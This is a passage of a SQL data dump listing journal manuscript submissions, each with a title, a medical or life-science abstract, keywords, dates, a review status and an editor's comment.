Treatment',2505,NULL,'2019-10-03',NULL,'Submitted',4,NULL,'2020-05-20',NULL,1,1,'0','manuscript needs to revised properly.',0,NULL,NULL,3,0,0,0,NULL,0),(2669,3441,639,0,'ipfs-19-2669','Fermented Soybean Meal as a Protein Source in Diets for Yellow Perch Perca flavescens',NULL,14,0,NULL,'A feeding trial was performed to investigate fermented soybean meal as a direct fishmeal replacement in juvenile Yellow Perch Perca flavescens diets. Four fishmeal replacement levels (25%, 50%, 75% and 100%) using fermented soybean meal were compared with a fishmeal control diet. Survival, weight gain, food conversion, protein efficiency, viscerosomatic index, hepatosomatic index, Fulton-type condition, and muscle ratio were determined after 105-d. No mortalities were observed during the feeding trial. Weight gain and feed conversion ratio were significantly impacted and negatively correlated with increasing fermented soybean meal inclusion. Fish fed diets containing 75% or greater fermented soybean meal failed to reach 100% weight gain by conclusion of the trial. Hepatosomatic index and viscerosomatic index showed no impact by replacement of fishmeal. Fermented soybean meal as a direct replacement for fishmeal does not appear to be a suitable replacement.',' Yellow Perch, Fish Meal, Fermented Soybean Meal',1770,NULL,'2019-10-04',NULL,'Submitted',2,NULL,'2019-10-31',NULL,1,1,'0','I accept this article to publish in our journal ',0,NULL,NULL,NULL,0,0,0,NULL,0),(2673,3436,45,0,'iphsj-19-2673','Primary Healthcare In Community-Based Disaster Risk Management As Strategy For Climate Change Adaptation',NULL,12,0,NULL,'Disaster preparedness will be determined by the vulnerability of communities and might include preparation for reducing health risk due to climate change and rapid urbanization. This article overviews the evidence for human-induced climate change, its health impacts, and the role of health cadres in flood risk management and primary healthcare as strategies for CCA and DRR. Climate change has substantial potential health effects. Transmission of DHF is also sensitive to periodic fluctuations in the climate factors. Displaced persons may face more environmental threats that harm their health. Primary healthcare implemented by health cadres plays an important role in preparing for flooding and responding to infectious disease outbreaks due to changing patterns of vector- and water- borne diseases. However, there is a challenge for system shift towards more inclusive approach to DRR and CCA comprising primary healthcare measures, that is inadequate the mechanism of protection and compensation for health cadres. Building health cadres’ capacity for flood risk management and strengthening their roles into the integration of primary healthcare as strategies for CCA and DRR, can help to meet the goal of the SFDRR 2015–2030 that calls for the participation of people disproportionately affected by disasters.','Climate change adaptation, Disaster risk management, Health cadres, Primary healthcare, Sustainable development',458,NULL,'2019-10-04',NULL,'Submitted',2,NULL,'2020-06-11',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(2674,3445,85,0,'iphspr-19-2674','Implementation barriers for mHealth for non communicable diseases prevention and management in low and middle income countries a scoping review and field based views from implementers ',NULL,14,0,NULL,'Objectives: This study aims to explore the implementation barriers of mHealth projects and the barriers to scale-up. \r\nDesign: Publications on mHealth interventions for NCDs in LMICs were identified through a scoping review and assessed with the WHO mHealth Evidence Reporting and Assessment (mERA) tool. A two-stage web-based survey on implementation barriers was performed within a NCD research network and through two online platforms on mHealth. \r\nSetting: Low- and middle-income countries  \r\nParticipants: Researchers and implementors in the field of mHealth interventions for NCD in LMIC\r\nResults: 18 studies were included in the scoping review from various countries. Most studies included Short Message Service (SMS) messaging as the main tool. Most studies focused on patient-centered outcomes. The assessment of the studies with the mERA checklist showed that most studies do not report on process measures and on contextual conditions which influence implementation decisions. Few publications reported on implementation barriers. The questionnaires pertained to twelve projects and the respondents revealed additional information, especially on practical barriers. Participants mentioned barriers related to the patients’ characteristics, low demand, technical requirements, integration with health services and with the wider context. Examples given were the patients’ age and disease complications hampering use of mobile devices and engagement of patients. Many interventions used low-cost software and devices with limited capacity that not allowing linkage with routine data or patient records. Participants mentioned that this led to fragmented delivery and an increased workload. \r\nConclusion: Text messaging is a dominant mHealth tool for patient-directed of quality improvement interventions in LMICs. Publications report little on implementation barriers, while a questionnaire among implementors reveals significant barriers and strategies to address them. This information is relevant for decisions on scale-up of mHealht in the domain of NCD. Further knowledge should be gathered on implementation issues, and the conditions that allow universal coverage.','Delivery models; Essential drugs; Non-communicable diseases',472,NULL,'2019-10-05',NULL,'Submitted',2,NULL,'2020-08-03',NULL,1,1,'1',' ',0,NULL,NULL,2,0,0,0,NULL,0),(2681,3456,45,0,'iphsj-19-2681','The need for lean thinking in the Kuwaiti healthcare system',NULL,15,0,NULL,'Healthcare systems (HCS) all over the world are facing escalating challenges as a consequence of increasing life expectancy and the growth of the ageing population. Even more, the financial constraints facing most countries are adding to the current crisis. Growing healthcare costs are directing the attention of many governments for investing to improve the efficiency of their HCS. Many developed countries have had massive investment in order to improve their service efficiency, but this is not the case in Kuwait. To address some of these challenges, several institutes and organisations have adopted manufacturing improvement methods and techniques. One noticeable improvement approach that promises to improve quality and efficiency while reducing costs is lean management. As part of a three-year PhD research project, this article is looking through the literature to explore the feasibility and motivation factors of studying lean thinking in the Kuwaiti healthcare system. The aim is to identify the gaps and direct future research to the right path, to understand the potential for applying lean thinking in Kuwait and rationing the selected area where a pilot project intends to be conducted. This review article will critically examine the potential for lean management to be implemented in Kuwait’s HCS. Even though the first published study regarding lean implementation in healthcare is 15 years old, the research and knowledge of lean health management is at the infant stage. It found that lean has the potential yet inconsistent benefits on process outcomes like patient flow; lacks rigorous evaluation with missing of the control group; superficial input from patients; narrow technical application with limited organisational reach. The other finding was that lean was not explored in primary healthcare and there is a deficiency in projects within developing countries. The key findings from literature have driven researchers and organisations to undertake further research on the use of lean in healthcare. In light of the above, it is worthwhile exploring the case for adopting lean in Kuwait to enhance the flow of patients with diabetes in primary healthcare.\r\n \r\n',' “Health”, “healthcare”, \"Hospital\", \"Lean”, “Lean management”, “Lean healthcare”, “Lean thinking”, “Toyota production system\".',686,NULL,'2019-10-06',NULL,'Submitted',2,NULL,'2020-03-03',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(2686,3468,251,0,'ipacm-19-2686','Candida parapsilosis sensu stricto: A  Pathobiont in Conditions of Oral Dysbiosis?',NULL,14,0,NULL,'Recent publications have reported high prevalence of C. parapsilosis sensu stricto in oral cavity niches. Our research group performed a pilot study in 2017 which showed that of the psilosis complex, C. parapsilosis sensu stricto is the species most frequently isolated from oral cavity niches. Under inflammatory conditions, the probability of recovering it is almost four times higher, and it displays higher biofilm-forming capacity in-vitro, differing significantly from isolates of the same species obtained in conditions of eubiosis.  This led us to hypothesize that an oral environment in dysbiosis overregulates virulent genes, promoting a more pathogenic phenotype. Accordingly, we decided to re-evaluate the in-vitro biofilm formation assay using a larger sample, under two nutritional conditions, using colorimetric methods for quantification. In addition, the results obtained were validated by imaging techniques. For both clinical conditions (eubiosis and dysbiosis), high biofilm forming phenotype predominated with both reading methods, and for both nutritional conditions tested. XTT showed significant difference between absorbance values for isolates from buccal dysbiosis and eubiosis (P= 0.0025). C. parapsilosis sensu stricto cells that colonize oral cavity niches are basically strong biofilm formers, regardless of in vitro growing conditions. However, the oral cavity in dysbiosis probably promotes virulence in this species due to inheritable epigenetic modifications.','Candida parapsilosis sensu stricto, Biofilm, Oral eubiosis, Oral dysbiosis',783,NULL,'2019-10-07',NULL,'Submitted',2,NULL,'2019-12-05',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(2693,3479,326,0,'IPJUS-19-2693','A COMPARATIVE STUDY OF DIABETIC FOOT OUTCOME BETWEEN NORMAL VS HIGH BMI INDIVIDUALS-IS OBESITY PARADOX A FALLACY IN ULCER HEALING?',NULL,8,0,NULL,'BACKGROUND:Personswithdiabetes,theprevalenceoffootulcersrangesfrom 4to\r\n10%anditslifetimeincidencemaybeashighas25%.ModifiablefactorsincludingBMI\r\nandHbA1chavegainedspecialattentionofresearchersandhavebeenextensively\r\nstudiedinrelationwithdiabeticfootulcers,gangrene,andlimbamputation.\r\nMETHODS:Aprospectivestudyon102patientswithdiabeticfootinBowringandLady\r\nCurzonandVictoriahospitalbetweenJuly2018toDecember2018.Wesoughtto\r\ncomparetheoutcomeofdiabeticfoothealingbetweenindividualswithnormalandhigh\r\nBMIandassesstherelativeriskofmodifiablefactors(BMI,HbA1Candsmoking)in\r\nlowerextremityamputationindiabeticfoot.\r\nRESULTS::HigherBMIandHbA1Cwerestrongly associatedwithnonsalvagibilityof\r\nlowerlimb,thoughsmokingwas found tohaveamoderatecorrelation.NormalBMI\r\nindividualswerefoundtohavearelativelygoodhealingthanhighBMIcases.\r\nCONCLUSION:BMI,HbA1Candsmoking,thesethreemodifiableriskfactorsprovetobe\r\nprimarypredictorsofoutcomeindiabeticwoundhealing.Fromthepresentcomparative\r\nstudy,personswithhigherBMIhadamoreriskoflowerextremityamputationhence\r\n“Obesityparadoxprovestobeafallacyindiabeticfoothealing”.\r\nKEYWORDS:LowerExtremityAmputation(LEA),\r\n',' Lower extremity amputation',2505,NULL,'2019-10-08',NULL,'Submitted',2,NULL,'2019-11-13',NULL,1,1,'0','Article is accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(2694,3480,277,0,'ipadm-19-2694','Cánula Nasal Alto-Flujo (CNAF): Puesta al día',NULL,15,0,NULL,'The high flow nasal cannula (HFNC) is a non-invasive respiratory support designed to deliver flows between 30–60 L / min. Its attractive potential was based on its comfort and greater adherence to treatment. Different recent studies showed results where HFNC is not inferior to treatment with NIV (non invasive ventilation). In addition, it has been used in a whole range of clinical scenarios with ARF (acute respiratory failure), such as: CPE (Cardiogenic Pulmonary Edema), COPD (Chronic Obstructive Pulmonary Disease), Cardiovascular surgery, thorax surgery, abdomen surgery, lung transplants and patients with do not intubate order (DNI). Likewise, in procedures such as pre-oxygenation before intubation and bronchoscopy.','High flow nasal cannula, High flow oxygen therapy, Respiratory failure ',2707,NULL,'2019-10-08',NULL,'Submitted',2,NULL,'2020-01-22',NULL,1,1,'1','Ready for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(2696,3483,73,0,'ipjnn-19-2696','A case report and literature review of clobazam toxicity related to CBD and Clobazam drug drug interaction',NULL,2,0,NULL,'The interest in the anti-seizure efficacy of cannabinoids has significantly increased over the past decade. Trials have shown a remarkable reduction in the frequency of convulsive seizures in Dravet and Lennox-Gastaut syndromes patient population. Studies have shown that CBD reacts with Clobazam leading to a significant increase in the levels of N- desmethylclobazam, the active metabolite of clobazam. We present a case of a patient with Dravet Syndrome who presented to the ED with altered mental status secondary to clobazam toxicity related to CBD and clobazam drug-drug interaction.','cannabinoids, Clobazam, N-desmethylclobazam',334,NULL,'2019-10-09',NULL,'Submitted',4,NULL,'2020-06-05',NULL,1,1,'0','revise',0,NULL,NULL,2,0,0,0,NULL,0),(2697,3484,91,0,'ijddr-23-2697','Synthesis, Characterization and Anti-inflammatory activities of N-aryl substituted benzenesulphonamide derivatives',NULL,14,3,NULL,' The synthesis of  these  novel N-aryl substituted benzenesulphonamid derivatives  is reported using benzenesulphonylchloride in a mixture of acetone and pyridine as a solvent and base respectively. This was achieved by coupling reaction of benzenesulphonylchloride with different substituted aromatic amines. Their solubilities in different solvents and anti-inflammatory activity of the products were also reported. The synthesized sulphonamide derivatives were characterized using FTIR, 1HNMR, 13CNMR and UV Spectroscopy. These sulphonamide derivatives reported in this work had been tested and confirmed to have anti-inflammatory activity in comparison with paracetamol as a standard drug.',' Sulphonamides, Anti-inflamatory, Spectroscopy, aromatic amines and benzenesulphonyl Chlorides.',2193,NULL,'2019-10-09',NULL,'Submitted',15,NULL,'2023-09-21',NULL,1,1,'0','set revision',0,NULL,NULL,2,0,0,0,NULL,0),(2707,3500,45,0,'iphsj-19-2707','Assessment of the effects of short messages communications to male partners of pregnant women on the health facilities child deliveries in Tabora, Tanzania ',NULL,14,0,NULL,'Maternal mortality remains to be a global public health problem, especially in Sub Saharan Africa especially in Tanzania where maternal mortality ratio is 556 per 100,000 live births. This is far away from the strategic development goal targeting 70 per 100,000 live birth by 2030. The major contribution is low health facilities deliveries which is partly contributed by individual factors, policies and health system. This study aimed at increasing health facilities deliveries to prevent direct cause of maternal death and indirect through accessing preventive interventions such as PMTCT.\r\n Methodology: The study involved 314 male partners of pregnant women and 364 pregnant women attending PMTCT services in the Tabora Municipality. All participants were blindly randomly assigned to control and intervention groups from which the intervention group was communicated by short message services on weekly basis for a period of 1 to 8 months on the importance of health facility deliveries. \r\nResults: The study found out before intervention, the planned deliveries of pregnant women were lower (77.3%) compared to the control group (83.6%), p-value of 0.1608 and Chi-square of 1.966. Again, following the intervention, the planned deliveries for intervention rose to 94.3% while the control increased to 92.3%, p-value of 0.4963 and Chi-square value of 0.463. However, in using a double in difference impact evaluation between the intervention and control group, the impact factor 1.896 is generated\r\nConclusion; The study clearly indicated there is an impact of increased health planned health facilities delivery (by 1.896) by sms communication to male partners of pregnant mothers. The variability in terms for the two groups (intervention and control) before intervention by Chi-square was insignificant after intervention','Health facilities deliveries, maternal mortality, short message services, Tanzania',685,NULL,'2019-10-10',NULL,'Submitted',2,NULL,'2020-06-11',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(2708,3501,91,0,'ijddr-19-2708','PHYTOCHEMICAL ANALYSIS AND TLC STUDIES OF ECLIPTA ALBA AND SCOPARIA DULCIS PLANT EXTRACT- COLD EXTRACTION',NULL,14,0,NULL,'Medicinal plants are the most extravagant bio-asset of medications of conventional frameworks of prescription, present day meds, nutraceuticals, nourishment supplements, society meds, pharmaceutical intermediates and substance elements for manufactured medications. Plants have extraordinary potential uses, particularly as customary prescription and pharmacological medications. A huge extent of the total populace relies upon traditional medication. The therapeutic plants are valuable for recuperating just as for relieving of human ailments in view of the nearness of phytochemical constituents. Phytochemical analysis was done on Eclipta alba and Scoparia dulcis to find theirs active compounds.  In this experiments all of fifteen compounds- alkaloids, anthocyanin, balsams, carbohydrate, cardiac glycosides, fats and fixed Oil, flavonoids, steroids, phenol, phlobatanins, protein, resins, tannin, terpenoids and triterpene was seen  in both plants. Thin layer chromatography strategy was utilized to screen the advancement of a response and also recognize compounds present in every extract.','Eclipta alba, Scoparia dulcis, phytochemical, TLC',2446,NULL,'2019-10-10',NULL,'Submitted',2,NULL,'2020-06-11',NULL,1,1,'0','proceed according to reviewer comments ',0,NULL,NULL,NULL,0,0,0,NULL,0),(2714,3509,45,0,NULL,'The effect of combination of active warming methods-warm intravenous fluid infusion and forced air warming versus forced air warming alone on maternal temperature during caesarean delivery under spinal anaesthesia',NULL,14,0,NULL,'OBJECTIVE: Administration of warm IV fluid infusion  and use of forced air-warmers is the most easy and physiologically viable method for maintaining normothermia during surgery and post-surgical periods This study was conducted to assess the effect of combination of active warming methods namely, warm IV fluid infusion and forced air warming versus forced air warming alone on maternal temperature during elective C-delivery under spinal anesthesia.\r\nMATERIALS AND METHODS:100 patients scheduled for elective c-section were grouped into those who received both warmed intravenous fluid infusion and forced air warmer (WI=50) and those who received only forced air warmer (WA=50). Core body temperature  and shivering incidence was recorded using tympanic thermometer from pre-spinal till end of surgery every 10 mins and in post anaesthesia care unit(PACU)  at 0,15,30 mins\r\nRESULTS: Core temperature showed significant difference in 15 , 35 , 45 and 55 min between air-warmer and warm infusion group and in PACU at 0, 15 and 30 minutes was significant (p=0.000) among WI group (mean temperature= 36.79C) when compared to WA group (mean temperature = 35.96C).Lower incidence of shivering in WI compared to WA group, which is statistically significant.\r\nCONCLUSION: Combination of active warming methods , warm IV fluid infusion and forced air warming (WI) is better than forced air warming alone (WA) on maintaining normal maternal temperature during elective C-section post administration of spinal anesthesia also reduces shivering incidence \r\n',' Caesarean section, hypothermia, shivering, warm IV fluid infusion, forced air-warmer',651,NULL,'2019-10-12',NULL,'Submitted',4,NULL,'2019-10-15',NULL,1,0,'1',NULL,0,NULL,NULL,2,0,0,0,NULL,0),(2719,3514,73,0,'ipjnn-19-2719','Paroxetine attenuates cerebral ischemia/reperfusion injury in rat via its anti-inflammatory and antioxidant effects',NULL,14,0,NULL,'Cerebral ischemia is often associated with sensory-motor impairment and memory deficit. Previous studies have demonstrated that paroxetine, the antidepressant drug, exhibits anti-inflammatory and antioxidant effects. In this study, we investigated the protective effects of paroxetine on neuronal damage and activation of microglial cells induced by cerebral ischemia/reperfusion in the rat. Cerebral ischemia/reperfusion injury was induced by transient bilateral common carotid artery occlusion. The Wistar rats were assigned to sham, ischemia, and paroxetine-treated groups. Paroxetine (10 mg/kg) was administered intraperitoneally once daily for 7 days subsequent to surgery. In order to evaluate spatial memory in rats, Morris water maze test (MWM) was conducted. The viability of pyramidal neurons in the hippocampus was assessed by Nissl staining method. Microglial activation and production of pro-inflammatory cytokines (IL-1β, TNF-α) were examined using Iba1-immunostaining and ELISA methods, respectively. Oxidative stress was evaluated by measuring the levels of malondialdehyde (MDA) in homogenates of hippocampal tissue. In MWM test, paroxetine significantly enhanced learning performance in rats subjected to cerebral ischemia/reperfusion. Nissl staining showed an increase in the number of surviving pyramidal neurons in paroxetine-treated group. Our findings indicated that paroxetine significantly suppressed ischemia-induced microglial activation and decreased the IL-1β and TNF-α levels in the hippocampus. In addition, paroxetine inhibited lipid peroxidation and decreased MDA levels in homogenates of hippocampal tissue. These results establish that paroxetine exert a protective effect against cerebral ischemia/reperfusion-induced damage to hippocampal neurons and memory impairment in rats through anti-inflammatory and antioxidant effects. ',' Brain ischemia; Microglia; Cytokine; Memory; SSRI',350,NULL,'2019-10-13',NULL,'Submitted',4,NULL,'2020-06-04',NULL,1,1,'0','Accept for publish after final vesieion',0,NULL,NULL,2,0,0,0,NULL,0),(2723,3520,85,0,'iphspr-19-2723','SOCIO-ECONOMIC STATUS AND HOUSEHOLD CAPACITY TO PAY FOR HEALTH CARE IN NIGERIA',NULL,14,0,NULL,'Several health financing literature notes that differences in SES is a major determinant of household capacity to pay for health care and a major deterrent in consumption of needed health resources. The major objective of the study was therefore to examine how households’ SES influences their capacity to pay for healthcare in Nigeria and also to examine the households’ SES that determines their capacity to pay for health resources. Using descriptive analysis and multiple logistic regression, the study found that level of income, place of residence, educational level of household head, household size and sex of household head were significant determinants of household capacity to pay for needed health care. The study recommended that it is imperative for the Nigerian government to put in place a workable health insurance scheme that will cover particularly the poor in the rural areas and informal sectors in the country to help boost their CtP for health care. The study also recommended that basic education should be made mandatory in the country even at the adult level to grant people access to better pay jobs and access to needed information on how to pursue better health. In addition, a policy could be enacted to encourage or mandate small family sizes while widows and single mothers could be sought and assisted since they seem to worse-off with regards to possessing CtP for health services.','Capacity-to-Pay \r\nSocioeconomic Status\r\nHealthcare Financing\r\nNigeria\r\nMaterialistic Theory',2922,NULL,'2019-10-13',NULL,'Submitted',4,NULL,'2020-06-05',NULL,1,1,'0',NULL,0,NULL,NULL,1,0,0,0,NULL,0),(2727,3312,85,0,'iphspr-19-2727','Health care workers Motivation and retention approaches of health 4 workers in Ethiopia A scoping review',NULL,14,0,NULL,'Abstract Background: Verifying health care workers job satisfaction and motivation in developing countries are important if they must be retained and deliver efficient health services either in the public or private sectors. Objective: To identify factors, context, and processes that influence work motivation and retention approaches of health care workers in Ethiopia. Methods: Scoping review methodology of Joanna Briggs Institute (JBI) was used to identify and collate evidence from studies included in the review. PubMed, Cochrane library, google scholar and google for articles examining mechanism of motivation and retention of health care workers in public institution in Ethiopia data bases were searched. Titles and abstracts were examined for the following search terms; “motivation”, “retention”, “mechanism,” “satisfaction”, “health careworker”, “public”, “institution”, and “Ethiopia”. Result: A total of seven studies were included in the review and the studies are cross-sectional study design. Pleasant nature of work, fair payment/salary, conducive working condition, fair supervision accessible administration & policies, fair workload, care to standard, better achievements, job content are factors associated with health care workers motivation. Intrinsic motivation factors like socio demographic variables were found to be significant predictors that explain the variability in the intrinsic motivation factor score; such as age, sex, the professional category of the respondents and type of health facility where they work, professional training, staffing &work schedule, availability of necessary resources and communication. Continuous development of skill & knowledge through training and satisfaction assessment were associated with staff retention. Intention to leave was associated with job satisfaction. Conclusion: Incentives, staff promotion through different mechanisms, working environments and intrinsic factors were found to be significant predictors of health workers motivation to work. Health system interventions for the retention of health workers should takes solve these factors.','motivation, retention, health worker, Ethiopia',471,NULL,'2019-10-14',NULL,'Submitted',2,NULL,'2019-12-13',NULL,1,1,'0',' ',0,NULL,NULL,NULL,0,0,0,NULL,0),(2740,3544,326,0,NULL,'AMYAND HERNIA \' A JACK IN BOX\' CASE REPORT WITH REVIEW OF LITERATURE',NULL,2,0,NULL,'A b s t r a c t Inguinal hernia is one of the most common performed surgery in General Surgical practice worldwide. Amyand’s hernia on the other hand is one of the rarest forms of inguinal hernia where the appendix is found as a content in the hernia sac. It has a reported incidence of 1 % and this condition is named after the french Surgeon Claudius Amyand (1660-1740) to King George II, who performed the first successful appendectomy in a young male with an inguinal hernia with an inflammed appendix. We report a case of a Middle aged male with right sided inguinal hernia with intermittent pain in the abdomen along with the managment of the four types of Amyand’s hernia.        \r\n\r\n',' ',2505,NULL,'2019-10-15',NULL,'Submitted',4,NULL,'2019-11-11',NULL,1,0,'1',NULL,0,NULL,NULL,2,0,0,0,NULL,0),(2744,3547,251,0,'ipacm-19-2744','A systematic review and meta-analysis of the Proportion and Antimicrobial Susceptibility pattern of Escherichia coli O157:H7 from different human foods  in Ethiopia:    ',NULL,15,0,NULL,'Background:  Escherichia coli O157: H7 is shiga toxin- producing Escherichia coli which is recognized as an important cause of diarrhea, hemorrhagic colitis and hemolytic-uremic syndrome worldwide. The aim of this systematic review and meta-analysis is to assess the burden of Escherichia coli O157:H7 and its antibiotic resistance pattern in different foods in Ethiopia.\r\nMethods: The literature search was conducted to identify all published articles reporting the proportion and antimicrobial susceptibility pattern of shiga toxin producing Escherichia coli O157:H7 in foods. From all screened articles, 21 studies were eligible for final systematic review and meta-analysis. Statistical analysis was done by using STATA14 software. \r\nResults: The pooled proportion of Escherichia coli O157:H7 is 0.05 (95% CI, 0.04 to 0.07%). Moreover, Shiga toxin-producing Escherichia coli strains were found to be highly resistant to Chloramphenicol, Tetracycline, Erythromycin and Streptomycin, with a pooled resistance ratio of 79.72, 63.44, 52.65, and 50.77%, respectively. On the other hand, comparably low levels of resistance ratio were noted to Nitrofurantoin 7.54% and Norfloxacin 9.72%.\r\nConclusion: The overall burden of Escherichia coli O157:H7 is low. However, it indicates the probability of food contamination by Escherichia coli O157:H7. And, E.coli O157:H7 showed resistance to Chloramphenicol, Tetracycline, Erythromycin and Streptomycin. \r\n',' Escherichia coli O157:H7, Systematic review and Meta-analysis, Ethiopia. ',777,NULL,'2019-10-16',NULL,'Submitted',2,NULL,'2020-06-04',NULL,1,1,'1','accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(2754,3416,45,0,'iphsj-19-2754','Assessment of hookah among pregnant women in Baghdad ',NULL,14,0,NULL,'Background: - Hookah smoking has gained popularity in many communities, especially among young adults and students.\r\nAims: - To identify the knowledge of mothers toward hookah in Baghdad.\r\nMethodology: - A cross–sectional study was conducted in medical city, Baghdad teaching hospital / Baghdad.  A non-probability convenient sample was used for this purpose. The sample size was 100 cases. The data collected from the participant who attended the hospital for investigation by using the questionnaire prepared for this purpose. The statistical procedure which were applied for the data analysis and assessment of the result by descriptive statistics.\r\nResults: - Highest percentage of samples 44% still in the age groups 20-35 years old, followed by 34% in the age groups >35. Highest percentage of samples 59% were housewives, employee was 24% and 17% were student. 71% of cases were single and 29% were married. 31% had a history of smoking.\r\nConclusion; - Female had secondary education level. Female were smoking, also, they had complication when they are using the hookah during pregnancy.\r\nRecommendation: - We need to establish educational programs in schools, universities and government institutions to identify the dangers for using the hookah especially the youngest people.','Smoking, assess, Hookah, Pregnant',643,NULL,'2019-10-16',NULL,'Submitted',2,NULL,'2020-06-11',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(2755,3564,91,0,'ijddr-19-2755','effects of methanol extract of toasted african yam bean seeds sphenostylis stenocarpa on antiinflammatory properties',NULL,14,0,NULL,'                                                                   Abstract\r\nThis study was aimed at evaluating the effects of methanol extract of toasted African Yam Bean seeds on in vivo and in vitro anti-inflammatory studies. Qualitative phytochemical composition, Gas Chromatography-Molecular Spectrometry (GC-MS) quantification, membrane stabilization, egg albumin denaturation and egg albumin induced paw oedema in albino rats was done using standard laboratory procedures. A total of fifteen (15) albino rats divided into 5 groups of three each. The groups consisted of  a normal control group 1 (received no treatment at all), group 2 which received 5 % AYB seeds extract (v/v in petroleum jelly), group 3 which received 4 % AYB seeds extract (v/v in petroleum jelly), group 4 which received 2 % AYB seeds extract (v/v in petroleum jelly) and group 5 which received 4 % indomethacin (v/v in petroleum jelly) as the standard drug. This was followed by topical application of the treatments and induction of inflammation by egg albumin on the right paw after 1 hour of topical application of treatment. The circumference of the hind paw was measured before induction and after topical application at 30 minutes, 1 hour and 2 hours. Preliminary phytochemical analysis revealed moderate composition of Alkaloids, Flavanoids, phenolics compounds and high composition of Steroids. The fatty acid methyl esters composed of alpha-D-Glucopyranoside methyl, Cyclopentaneundecanoic acid, Oxalic acid monoamide N-(2-fluorophenyl)-dodecyl ester, Dodecanoic acid but-3-enyl ester, 3-(Prop-2-enoyloxy) dodecane Methoxyacetic acid tetradecyl ester and 2-Heptanol-4-methyl. African Yam Bean seeds extract exhibited membrane-stabilizing property, as it significantly (p < 0.05) reduced the levels of haemolysis of Human Red Blood Cells exposed to hypotonic solution  with high % inhibition of 79.81 %, 73.40 %, 81.41 % and 96.47 % at a dose-dependent level of (0.06 mg/ml, 0.125 mg/ml, 0.25 mg/ml, 0.5 mg/ml and 1.0 mg/ml respectively of extract) compared to indomethacin 1.0 mg/ml with 71.79 % inhibition. The African Yam Bean seeds extract also significantly (p < 0.05) inhibited albumin denaturation with the highest inhibition having absorbances of 0.05 ± 0.01 and 0.04 ± 0.08, in also a dose dependent level. However, indomethacin at 1.0 mg/ml gave an absorbance of 0.36 ± 0.01 which was significantly different (p<0.05) when compared to all the tested groups. The African Yam Bean seeds extracts was found to significantly (p < 0.05) reduce the oedema induced by the phlogistic agent in rats (with % inhibitions of 81.25 %, 90.62 % and 96.88 % respectively) in a dose-dependent manner (5 %, 4 % and 2 % respectively) and the reductions was during later phases of the inflammation (2 hours) compared to indomethacin (62.50 % at 4 % concentration at 2 hours). Methanol extract of toasted African Yam Bean seeds revealed a potent anti-inflammatory activity due to the presence of rich phytochemicals and fatty acids that may be exploited by pharmaceutical industries for the management of some inflammatory disorders.\r\n\r\n\r\n',' African Yam Bean seeds (sphenostylis stenocarpa) and Anti-inflammation',1325,NULL,'2019-10-16',NULL,'Submitted',4,NULL,'2020-06-11',NULL,1,1,'0','accept depending upon reviewer comments ',0,NULL,NULL,2,0,0,0,NULL,0),(2756,3565,86,0,'ipaom-19-2756','Why is drug-induced ototoxicity still not preventable nor is it treatable in 2019? (A literature review of Aminoglycoside and Cisplatin ototoxicity). ',NULL,15,0,NULL,'Oto-toxicity is defined by cochlear and or vestibular cellular lesions due to the use of drugs. The difference in specific mechanisms, the great semiological variability, the heterogeneity of incriminated drugs, the inaccessibility to biomolecular and histological aspects in the current clinical practice, and the diverse aspects of post-lesional evolution: Are all factors that make it challenging to have systematic diagnostic protocols and systematic consensuses of management.\r\nThe possibility of replacement with less or non- toxic drugs relies on the peculiar understanding of mechanisms of action in a molecular level. Drugs with the same efficacious action and less or non-toxicity would offer a promising solution for this iatrogenic problem. For now: In most cases, these drugs are indispensable. \r\nThe idiosyncratic aspect of ototoxicity, the lack of consensus on screening and diagnostic protocols and classification systems, make it difficult to have an unbiased comparability regarding the different populations studied.  The pure clinical and audiometric approach is syndromic, it evaluates lesions after their onset, and the classifications that are inspired from them have little specificity, sensibility and prognostic value in early stages.  \r\nThe understanding of the different cellular modalities of inner ear drug-induced lesions related to each specific oto-toxic molecule, would allow:   In the one hand: to establish a diagnostic test with high sensibility and specificity before the onset of irreversible cell damage. And in the other hand, would offer new insights into the possibilities of oto-protection, and specific treatment.\r\nOto-toxicity is a fertile field of scientific research which exploration has gained momentum in the last decade; in an experimental point of view, the biomolecular approach seems to be promising: \r\nThe thorough exploration of inner ear proteome, transcriptome, and genome in physiological and pathological contexts as potential biomarkers of early stages of cell lesions: The clinical application would not only allow a more specific understanding of different mechanisms of iatrogenic oto-toxicity, but also allow new insights into targeted protective and post-lesional therapies.','Ototoxicity, inner ear, drug-induced deafness, cisplatin, aminoglycoside, biomolecular, screening proteome, transcriptome, heat shock protein',3031,NULL,'2019-10-17',NULL,'Submitted',2,NULL,'2020-05-20',NULL,1,1,'0','Accept for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(2759,3570,86,0,'ipaom-19-2759','Madelung\'s Disease as unusual cause of asthenia',NULL,2,0,NULL,'Madelung\'s disease – also known as Launois-Bensaude syndrome, multiple symmetric lipomatosis (MSL), cephalothoracic lipodystrophy, and benign symmetric lipomatosis - is a condition characterized by subcutaneous and deep non-encapsulated symmetric lipomas, mostly accompanied by polyneuropathy and metabolic disorders. The first description of the disease was made by Benjamin Brodie in 1846. Otto Wilhelm Madelung describes in 1888 the classic \'horse collar\' pattern secondary to the head and neck distribution of the lipomas. Launois and Bensaude complete their description of this syndrome in 1898, giving it the name of multiple symmetric adenolipomatosis.','Madelung\'s disease, anemia, conjunctivas, sclera',2890,NULL,'2019-10-18',NULL,'Submitted',2,NULL,'2020-05-20',NULL,1,1,'0','Accept for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(2764,3575,45,0,'iphsj-19-2764','Magnitude of maternal outcomes of operative vaginal deliveries and associated factors among mothers attended at Aksum Saint Mary hospital, Tigray, Ethiopia ',NULL,14,0,NULL,'Background: Labor and delivery is complex physiologic process which involves two human beings, the mother and the baby. Approximately 10-20% of all deliveries require some form of obstetrical intervention. A vaginal delivery accomplished with the help of instruments that can be either Forceps or Vacuum is termed as Operative vaginal delivery.  It offers the option to accomplish safe delivery for the mother and the clinicians if it is technically feasible. In our country research on maternal outcome of operative vaginal delivery is in frequent, the magnitude of unfavorable maternal outcome high in Africa. Assessing the maternal outcomes of operative vaginal deliveries and associated factors would be useful in adopting suitable measures to reduce the caesarean section 